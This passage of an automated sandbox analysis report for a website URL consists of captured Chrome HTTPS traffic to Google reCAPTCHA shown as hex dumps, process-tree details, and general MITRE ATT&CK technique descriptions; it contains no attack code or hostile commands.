3f 0b 01 6f e5 a4 da 96 e5 fd cc 9c 84 5c f2 4f bf 04 62 bc 86 6b fb 6d a1 72 78 eb 8a c1 b9 b9 Data Ascii: _<Iqa=:U\|O-wH2>=A~di(WZ\|j,hN0@9":QuK:X>] ZhSxdXu~{lVmp@d=amEC20t}["R]Zybc:sk?o\Obkmrx
2024-04-24 12:45:36 UTC	1255	IN	Data Raw: 06 e4 9e 7d 3a d7 9e 6a 6f 2c 97 32 04 56 8f c9 7d ae 02 36 5b d7 de be 8d 5f 88 f6 0e 08 94 4a dc 60 82 8a 45 25 87 8c 3c 2f 6e c5 ad f4 fb 58 18 f5 68 ec e3 53 f9 81 5c bf 54 46 ce 8c 1c 52 5d 0f 91 7e 27 da 5f 9b 6d 1a 59 ec ae e0 49 4c e2 36 92 32 03 e3 cb ce df 5c 64 57 b3 7c 2e f1 0e 99 e0 ef 84 d7 3a 2c 5e 27 11 dc dc 91 34 96 a6 d6 36 37 4f 22 8f 31 51 c3 17 ca 28 00 e7 60 04 77 ea 7b df 1c 78 aa 0b e1 68 d6 4e 8e 63 2f 92 f1 e3 66 42 f0 31 f4 35 c7 4d a9 dc c9 20 65 91 32 09 3f 2a 05 20 9e 7a 81 5d 30 c6 43 0f 1f 67 6d bf e1 c9 74 d5 cf 0b 6f 0f ea 57 33 ca 6c 34 ad 56 6b 69 83 b4 0b 1d b0 70 14 36 7a 86 c1 3c 63 d4 f6 cd 6e 5b 7c 35 f1 7c 90 c6 db 6d ed 57 a8 37 17 4a 87 f1 50 49 07 9e 84 57 a9 cb 77 73 29 21 9d dd bb e6 43 49 9b 8e 0e 54 7e 19 Data Ascii: }:jo,2V}6[_J`E%</nXhS\TFR]~'_mYIL62\dW\|.:,^'467O"1Q(`w{xhNc/fB15M e2?* z]0CgmtoW3l4Vkip6z<cn[\|5\|mW7JPIWws)!CIT~
2024-04-24 12:45:36 UTC	1255	IN	Data Raw: da 1b 7f 10 da dd 44 a0 c5 7d 67 1c e1 80 ea 40 d8 7f 54 fd 6b 93 d3 b5 07 b3 67 d8 a0 ee 1d eb d6 3c 67 e1 f9 35 ff 00 03 78 74 e9 b7 56 b7 17 96 0c d0 4e 5e 65 8b 08 e8 8f fc 44 64 2b 16 15 c5 47 e0 3b a3 21 57 bd b0 42 3f e9 be ef fd 04 1a ec a5 51 38 24 ce 7a 94 df 36 87 30 d7 3b ee 1a 57 00 e5 b3 8a 78 69 67 0c 51 72 aa 72 4e 30 17 35 d8 a7 81 d0 5b e0 3b bc fb c7 dd 88 94 db 83 9e 49 eb d3 b7 ad 4f 0f 82 6e 81 5d b2 bc 6a 1b 38 0a 83 f1 c9 e9 5b 73 5f 64 61 ec ec 62 f8 36 5b cb 3d 4e 22 62 8c c4 ce 15 c4 a8 48 2a 48 c8 e3 9f c4 72 0d 7a a4 5a 9d b5 de 8d fd b7 2a 47 0e c9 8c 77 51 86 27 0a 5b 6a c9 cf 39 1c 03 eb d6 b9 8b 4f 09 f9 33 09 66 79 ae 14 02 36 49 71 91 c8 23 3c 63 a6 73 f5 a6 3f 85 ed 90 8f 2b 4f 46 c1 cf ef 6e 0b 03 f5 19 e9 5c b5 e9 f3 Data Ascii: D}g@Tkg<g5xtVN^eDd+G;!WB?Q8$z60;WxigQrrN05[;IOn]j8[s_dab6[=N"bHHrzZGwQ'[j9O3fy6Iq#<cs?+OFn\
2024-04-24 12:45:36 UTC	1255	IN	Data Raw: fe f1 2d fd 6b a2 22 8c 54 7b 28 7f 4d 8f 9e 47 27 75 e0 f4 96 27 58 ae a2 88 b2 90 ad f6 72 70 7d 7e f5 49 e1 5f 06 69 5a 76 c9 35 d4 fe da 99 65 2c 71 9b 74 db c6 17 68 2c 73 d7 92 4f 51 c7 1c f5 18 a5 c5 0e 94 1a b5 86 aa 49 3b 9c b7 88 a2 d3 74 eb b5 9a 6b 98 6d 6d a4 67 31 c3 24 9b 00 5c 8c 2e ee a7 00 e3 b5 65 de f8 b7 48 4b 65 b7 b3 d5 74 8b 60 38 66 49 44 8c 07 fb 39 e0 1f c0 d7 a1 da 68 5a 06 b2 cc da de 9b 6b 7a 60 c7 93 e7 c4 af b7 77 5c 64 77 da 3f 2a b3 ff 00 08 87 80 d6 43 27 fc 22 fa 41 63 dc da 21 fe 95 c3 2a 30 84 9f 2a 3b 29 d5 bc 57 33 67 94 3f 8c bc 2d 6e 92 25 ae aa 2d b7 ae 25 94 06 9a 79 bd 9a 41 ce 3d 94 28 f5 06 b8 ab 9f 88 e4 5e 35 ad 86 8a d7 64 b9 58 fc b9 c8 67 19 c0 3b 76 77 1c e2 be 96 87 47 f0 9d b0 3e 47 87 f4 a8 bf dd b5 Data Ascii: -k"T{(MG'u'Xrp}~I_iZv5e,qth,sOQI;tkmmg1$\.eHKet`8fID9hZkz`w\dw?C'"Ac!0*;)W3g?-n%-%yA=(^5dXg;vwG>G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
335	192.168.2.4	50237	142.250.141.103	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:36 UTC	791	OUT	GET /recaptcha/api2/reload?k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6d3GaTVt9LmQh_xcdk9ZgH29mfHb0FZsJch4Tu-G1p8NrkjO8SwWDyyRgYTR_E-WENE2OMXu_PzjeMjcvY; NID=513=UOTnu3DTHjkAMN_AKxC1bWfz-TMuAkBQHuEWud0wYNbyadN-jsgCI4rVwUD5kj6TumhiT2jGUOqwnycr9nLPAvIATSjM6wIk2x1A1W3OuupDJ9gyLGRtuU80fQEcLJrLlPv7XkjqU9ZpIRQu9Ui7rvqFgr7a4QC3umozUl1sS9E
2024-04-24 12:45:37 UTC	518	IN	HTTP/1.1 405 HTTP method GET is not supported by this URL Content-Type: text/html; charset=UTF-8 Date: Wed, 24 Apr 2024 12:45:36 GMT Expires: Wed, 24 Apr 2024 12:45:36 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:45:37 UTC	244	IN	Data Raw: 65 65 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 21 2d 2d 20 47 53 45 20 44 65 66 61 75 6c 74 20 45 72 72 6f 72 20 2d 2d 3e 0a 3c 48 31 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 48 31 3e 0a 3c 48 32 3e 45 72 72 6f 72 20 34 30 35 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d 0a Data Ascii: ee<HTML><HEAD><TITLE>HTTP method GET is not supported by this URL</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">... GSE Default Error --><H1>HTTP method GET is not supported by this URL</H1><H2>Error 405</H2></BODY></HTML>
2024-04-24 12:45:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
336	192.168.2.4	50239	142.250.141.103	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:37 UTC	1001	OUT	GET /recaptcha/api2/payload?p=06AFcWeA7LjcbJjjYNoXnHdP3oeBQRJ_9LAsk_nugOdAHY58B82Yb1hs851KZhqBW95Wtoe5xeO-_rvSxt2TJRjIkhg2Qsr9esXafinJUyXkfTttXhh06AGxtrzRR5KfGfn8ig9E6OUr0EPEz1Lp4TPCo2DV3QJUCKViPs1oFgsKDQL-LgsTgSVyYZTlYl9WNg5ym2Df8b5DMm&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6d3GaTVt9LmQh_xcdk9ZgH29mfHb0FZsJch4Tu-G1p8NrkjO8SwWDyyRgYTR_E-WENE2OMXu_PzjeMjcvY; NID=513=UOTnu3DTHjkAMN_AKxC1bWfz-TMuAkBQHuEWud0wYNbyadN-jsgCI4rVwUD5kj6TumhiT2jGUOqwnycr9nLPAvIATSjM6wIk2x1A1W3OuupDJ9gyLGRtuU80fQEcLJrLlPv7XkjqU9ZpIRQu9Ui7rvqFgr7a4QC3umozUl1sS9E
2024-04-24 12:45:37 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Wed, 24 Apr 2024 12:45:37 GMT Date: Wed, 24 Apr 2024 12:45:37 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-24 12:45:37 UTC	6	IN	Data Raw: 36 45 33 37 0d 0a Data Ascii: 6E37
2024-04-24 12:45:37 UTC	1255	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 2c 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC!"$"$C,,"}!1AQa"q2
2024-04-24 12:45:37 UTC	1255	IN	Data Raw: a2 72 7d 40 cd 59 bd b5 67 63 90 07 d2 b1 ee 20 65 24 2b 7e 46 bd 68 45 3e a6 33 93 45 b9 ef 94 22 ac 71 13 9f 5f eb 59 f7 17 b3 3b 10 d2 1c 7f 75 7a 55 76 46 0d 82 49 fc 68 d9 c5 6c a9 c5 18 b9 b6 23 c8 8d ff 00 2c 87 e7 50 94 c9 ce 00 ab 02 3a 70 8a ab 62 77 2a f9 74 a2 3a b4 22 a9 6c ed 4d cd dc 56 e1 82 99 1c 2e 4f 6c d0 e4 ac 16 3d 27 e1 c5 d1 9b c3 c9 09 40 be 4b 14 04 36 49 1e a4 76 ff 00 eb 57 4b 59 be 1f d1 2d 34 6b 72 96 ac ee ce 07 98 c5 b8 62 3b e3 b5 68 b3 05 19 35 e3 54 69 c9 b4 7a 51 4d 45 26 04 90 2b e0 c9 b4 c2 88 aa 2e 26 6d a3 00 39 ce 07 a7 ad 7d d9 25 d0 03 02 be 43 ba b5 0e 0e 40 3f 51 50 d0 33 8a 4b 66 45 3c 2f 1d 7b 66 99 73 15 c3 43 fb af 2c 13 f8 f1 5d 05 d5 aa 00 46 d1 ef 8e 2a 94 d6 db 23 18 1d 2b 36 da 04 91 cc 47 6b a8 5a c8 Data Ascii: r}@Ygc e$+~FhE>3E"q_Y;uzUvFIhl#,P:pbwt:"lMV.Ol='@K6IvWKY-4krb;h5TizQME&+.&m9}%C@?QP3KfE</{fsC,]F#+6GkZ
2024-04-24 12:45:37 UTC	1255	IN	Data Raw: 82 30 6b ba 35 54 95 ce 49 53 71 65 4b 6b 47 9e 50 88 a7 92 32 40 ce 07 ad 7a 36 9d e1 ad 2e 3b 1b 60 d0 a4 8c 98 76 62 3e fb 7b fb 7b 57 3b e1 bf 22 26 63 71 3c 71 22 f3 f3 75 27 b5 75 96 da c6 9d 27 ee d2 e3 73 01 c8 00 e2 b9 6b ce 4d d9 1b d2 8a 4a ec 88 4f 71 1c ef 17 cc a8 3e e8 c7 02 ad a9 dc 9b 64 2c 1f de a2 9a ea 00 77 22 12 de a4 d5 69 6e bc c3 9c d7 31 bd c9 5c 36 30 6b e6 29 a3 25 48 2b c7 6a fa 4d ee 09 f7 af 9c 67 63 eb fa d2 7a 12 64 5c 40 08 e3 24 9f 6a a5 3d b9 da 41 1d ab 59 f1 cf 63 9c e6 aa cb ca 93 9a 86 52 39 eb 8b 71 92 6a a4 96 c3 b0 ad ab 98 c8 04 83 de aa 34 7f 21 27 b1 a8 b1 49 98 f2 21 50 72 0e 2a 28 11 96 3e 41 c6 33 83 5a 73 20 24 8f 7a 82 55 00 11 90 38 a4 d8 ca 92 0f 6f c6 98 c0 1a 99 f2 30 0d 44 d8 e0 8a 63 21 7b 58 64 43 Data Ascii: 0k5TISqeKkGP2@z6.;`vb>{{W;"&cq<q"u'u'skMJOq>d,w"in1\60k)%H+jMgczd\@$j=AYcR9qj4!'I!Pr*(>A3Zs $zU8o0Dc!{XdC
2024-04-24 12:45:37 UTC	333	IN	Data Raw: 8d d8 7d 68 95 48 b8 d8 6a 0d 3b 90 5a 4c a5 f7 05 60 71 82 31 82 2b 42 5b 1b 0b e8 54 cf 08 90 63 00 93 82 33 8c f4 fa 54 52 5e c1 2c 86 14 01 66 3c 93 80 33 f8 fd 2a cc 33 c7 1a 05 61 b4 f4 fa d6 3a ad 8d 5a b9 4a 1f 0e e9 71 3c 9b a2 69 56 4e 8a e7 ee fd 08 e6 a3 bd f0 dd b3 39 9a c5 be cf 27 64 cf c9 fe 22 b6 89 52 bb b2 31 eb 54 d6 e5 56 eb 66 fd f9 e8 45 3e 79 77 27 95 18 0a cc bb a2 97 f7 72 45 c3 03 46 ed c3 ad 74 77 d1 5a 07 5b 89 2d d2 49 46 30 48 f4 f5 ae 7e fe 51 25 dc 92 79 6b 1e 4f 2a 3f 9d 5a 69 8b 61 b9 f7 af 9f 6e 40 c6 46 09 f4 af 7c 07 26 bc 26 48 b2 b9 a9 a9 d0 68 ca b8 03 15 c6 5d 78 9d 2d ef 66 b7 94 a0 f2 e4 65 c0 52 4f 07 15 db 5d 26 dc f2 6b c8 f5 8b 19 ae 7c 4b 73 1c 78 fd e5 cb 64 93 80 a3 71 e6 b2 6a e5 1d 19 f1 2d 8b 8f 99 c8 Data Ascii: }hHj;ZL`q1+B[Tc3TR^,f<33a:ZJq<iVN9'd"R1TVfE>yw'rEFtwZ[-IF0H~Q%ykO?Zian@F\|&&Hh]x-feRO]&k\|Ksxdqj-
2024-04-24 12:45:37 UTC	1255	IN	Data Raw: 64 cf fa 54 1f 42 f8 fe 75 0e 99 a6 59 bc ed 05 dc 12 40 7a 17 60 d9 5f f8 0d 74 17 3a 46 9b a7 e9 16 f7 06 34 91 a7 9a 48 c7 99 13 02 36 2a 12 7e 87 7f e9 53 cc b7 17 b5 b7 43 1b c8 9e 55 57 89 37 a1 1c 32 b0 20 d4 32 c1 2c 38 32 a9 40 7a 67 bd 74 96 aa 8f 02 f9 11 24 68 07 0a a3 00 7a d6 7e bf 19 0b 17 d4 d5 23 54 ee ae 62 19 95 18 02 c2 9d e6 02 78 23 ad 6e f8 1a d6 de f3 55 92 da e6 de 29 96 4d a0 79 8c ab 8e 7f bc c0 81 f5 c5 74 1a 7f 85 e1 d6 2f c4 11 69 d1 43 14 53 88 a4 97 21 54 2f f7 8f 23 38 c1 39 14 ba d8 87 52 ce d6 3c fd d8 66 95 70 47 5a e8 3c 63 a0 43 a3 6a 6b 6a 23 91 72 9b b2 72 37 0c 9c 10 0f 62 31 58 32 46 a8 db 57 38 f7 a7 62 93 ba 3d 7f c3 d7 5a 42 e9 5a 42 5b 5b ce e5 e6 d5 61 18 74 50 1b ec 88 5b a2 9c e4 62 92 0d 4e da 7d 0a 62 9a Data Ascii: dTBuY@z`_t:F4H6*~SCUW72 2,82@zgt$hz~#Tbx#nU)Myt/iCS!T/#89R<fpGZ<cCjkj#rr7b1X2FW8b=ZBZB[[atP[bN}b
2024-04-24 12:45:37 UTC	1255	IN	Data Raw: 5f 14 3c 49 06 9f 1c 0f 71 05 d6 d0 00 96 61 b9 c8 e9 82 d9 19 3d 3a fa 55 ff 00 0c 7c 4f f1 04 17 ad 0d f6 97 2d ca 00 77 48 b1 32 3e 3d 41 03 04 7e 15 d1 1a d0 64 d9 9e d7 69 e2 0f 28 95 89 18 e7 a6 e9 57 f9 13 5a 1a 7c d3 6a 2c e1 84 68 e1 4e 30 40 39 f6 22 b8 cd 07 c6 3a 0e a1 13 19 51 ad 9c 75 4b a8 ca 1c e7 b1 e8 7f 3a d9 8b 58 d2 80 3e 5d dd b6 07 20 ac cb c7 eb 5a 68 f6 0f 53 78 dc df c3 98 64 89 95 58 75 7e bc 7b 8a 6c 56 6d 70 ce d1 40 64 93 1b 8a 87 ce 07 d2 bc af c6 1f 12 b5 0b 3d 61 6d b4 14 fb 45 bc 43 32 bb a3 9f 30 ff 00 74 1e c3 de b8 7d 5b c6 fe 22 b9 d6 1f 52 5d 5a e6 ce 79 15 62 c5 bc 8d 1e d5 1c e0 0c e7 ad 63 3a f1 80 ed 73 d7 bc 6b e2 eb 3f 0b 01 6f e5 a4 da 96 e5 fd cc 9c 84 5c f2 4f bf 04 62 bc 86 6b fb 6d a1 72 78 eb 8a c1 b9 b9 Data Ascii: _<Iqa=:U\|O-wH2>=A~di(WZ\|j,hN0@9":QuK:X>] ZhSxdXu~{lVmp@d=amEC20t}["R]Zybc:sk?o\Obkmrx
2024-04-24 12:45:37 UTC	1255	IN	Data Raw: 06 e4 9e 7d 3a d7 9e 6a 6f 2c 97 32 04 56 8f c9 7d ae 02 36 5b d7 de be 8d 5f 88 f6 0e 08 94 4a dc 60 82 8a 45 25 87 8c 3c 2f 6e c5 ad f4 fb 58 18 f5 68 ec e3 53 f9 81 5c bf 54 46 ce 8c 1c 52 5d 0f 91 7e 27 da 5f 9b 6d 1a 59 ec ae e0 49 4c e2 36 92 32 03 e3 cb ce df 5c 64 57 b3 7c 2e f1 0e 99 e0 ef 84 d7 3a 2c 5e 27 11 dc dc 91 34 96 a6 d6 36 37 4f 22 8f 31 51 c3 17 ca 28 00 e7 60 04 77 ea 7b df 1c 78 aa 0b e1 68 d6 4e 8e 63 2f 92 f1 e3 66 42 f0 31 f4 35 c7 4d a9 dc c9 20 65 91 32 09 3f 2a 05 20 9e 7a 81 5d 30 c6 43 0f 1f 67 6d bf e1 c9 74 d5 cf 0b 6f 0f ea 57 33 ca 6c 34 ad 56 6b 69 83 b4 0b 1d b0 70 14 36 7a 86 c1 3c 63 d4 f6 cd 6e 5b 7c 35 f1 7c 90 c6 db 6d ed 57 a8 37 17 4a 87 f1 50 49 07 9e 84 57 a9 cb 77 73 29 21 9d dd bb e6 43 49 9b 8e 0e 54 7e 19 Data Ascii: }:jo,2V}6[_J`E%</nXhS\TFR]~'_mYIL62\dW\|.:,^'467O"1Q(`w{xhNc/fB15M e2?* z]0CgmtoW3l4Vkip6z<cn[\|5\|mW7JPIWws)!CIT~
2024-04-24 12:45:37 UTC	1255	IN	Data Raw: da 1b 7f 10 da dd 44 a0 c5 7d 67 1c e1 80 ea 40 d8 7f 54 fd 6b 93 d3 b5 07 b3 67 d8 a0 ee 1d eb d6 3c 67 e1 f9 35 ff 00 03 78 74 e9 b7 56 b7 17 96 0c d0 4e 5e 65 8b 08 e8 8f fc 44 64 2b 16 15 c5 47 e0 3b a3 21 57 bd b0 42 3f e9 be ef fd 04 1a ec a5 51 38 24 ce 7a 94 df 36 87 30 d7 3b ee 1a 57 00 e5 b3 8a 78 69 67 0c 51 72 aa 72 4e 30 17 35 d8 a7 81 d0 5b e0 3b bc fb c7 dd 88 94 db 83 9e 49 eb d3 b7 ad 4f 0f 82 6e 81 5d b2 bc 6a 1b 38 0a 83 f1 c9 e9 5b 73 5f 64 61 ec ec 62 f8 36 5b cb 3d 4e 22 62 8c c4 ce 15 c4 a8 48 2a 48 c8 e3 9f c4 72 0d 7a a4 5a 9d b5 de 8d fd b7 2a 47 0e c9 8c 77 51 86 27 0a 5b 6a c9 cf 39 1c 03 eb d6 b9 8b 4f 09 f9 33 09 66 79 ae 14 02 36 49 71 91 c8 23 3c 63 a6 73 f5 a6 3f 85 ed 90 8f 2b 4f 46 c1 cf ef 6e 0b 03 f5 19 e9 5c b5 e9 f3 Data Ascii: D}g@Tkg<g5xtVN^eDd+G;!WB?Q8$z60;WxigQrrN05[;IOn]j8[s_dab6[=N"bHHrzZGwQ'[j9O3fy6Iq#<cs?+OFn\
2024-04-24 12:45:37 UTC	1255	IN	Data Raw: fe f1 2d fd 6b a2 22 8c 54 7b 28 7f 4d 8f 9e 47 27 75 e0 f4 96 27 58 ae a2 88 b2 90 ad f6 72 70 7d 7e f5 49 e1 5f 06 69 5a 76 c9 35 d4 fe da 99 65 2c 71 9b 74 db c6 17 68 2c 73 d7 92 4f 51 c7 1c f5 18 a5 c5 0e 94 1a b5 86 aa 49 3b 9c b7 88 a2 d3 74 eb b5 9a 6b 98 6d 6d a4 67 31 c3 24 9b 00 5c 8c 2e ee a7 00 e3 b5 65 de f8 b7 48 4b 65 b7 b3 d5 74 8b 60 38 66 49 44 8c 07 fb 39 e0 1f c0 d7 a1 da 68 5a 06 b2 cc da de 9b 6b 7a 60 c7 93 e7 c4 af b7 77 5c 64 77 da 3f 2a b3 ff 00 08 87 80 d6 43 27 fc 22 fa 41 63 dc da 21 fe 95 c3 2a 30 84 9f 2a 3b 29 d5 bc 57 33 67 94 3f 8c bc 2d 6e 92 25 ae aa 2d b7 ae 25 94 06 9a 79 bd 9a 41 ce 3d 94 28 f5 06 b8 ab 9f 88 e4 5e 35 ad 86 8a d7 64 b9 58 fc b9 c8 67 19 c0 3b 76 77 1c e2 be 96 87 47 f0 9d b0 3e 47 87 f4 a8 bf dd b5 Data Ascii: -k"T{(MG'u'Xrp}~I_iZv5e,qth,sOQI;tkmmg1$\.eHKet`8fID9hZkz`w\dw?C'"Ac!0*;)W3g?-n%-%yA=(^5dXg;vwG>G

Target ID:	0
Start time:	14:44:06
Start date:	24/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	14:44:08
Start date:	24/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1812 --field-trial-handle=2012,i,17370440171839538085,11052004607270784820,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	14:44:11
Start date:	24/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://valleyprohealth.org"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:45:12
Start date:	24/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5716 --field-trial-handle=2012,i,17370440171839538085,11052004607270784820,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://valleyprohealth.org

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures
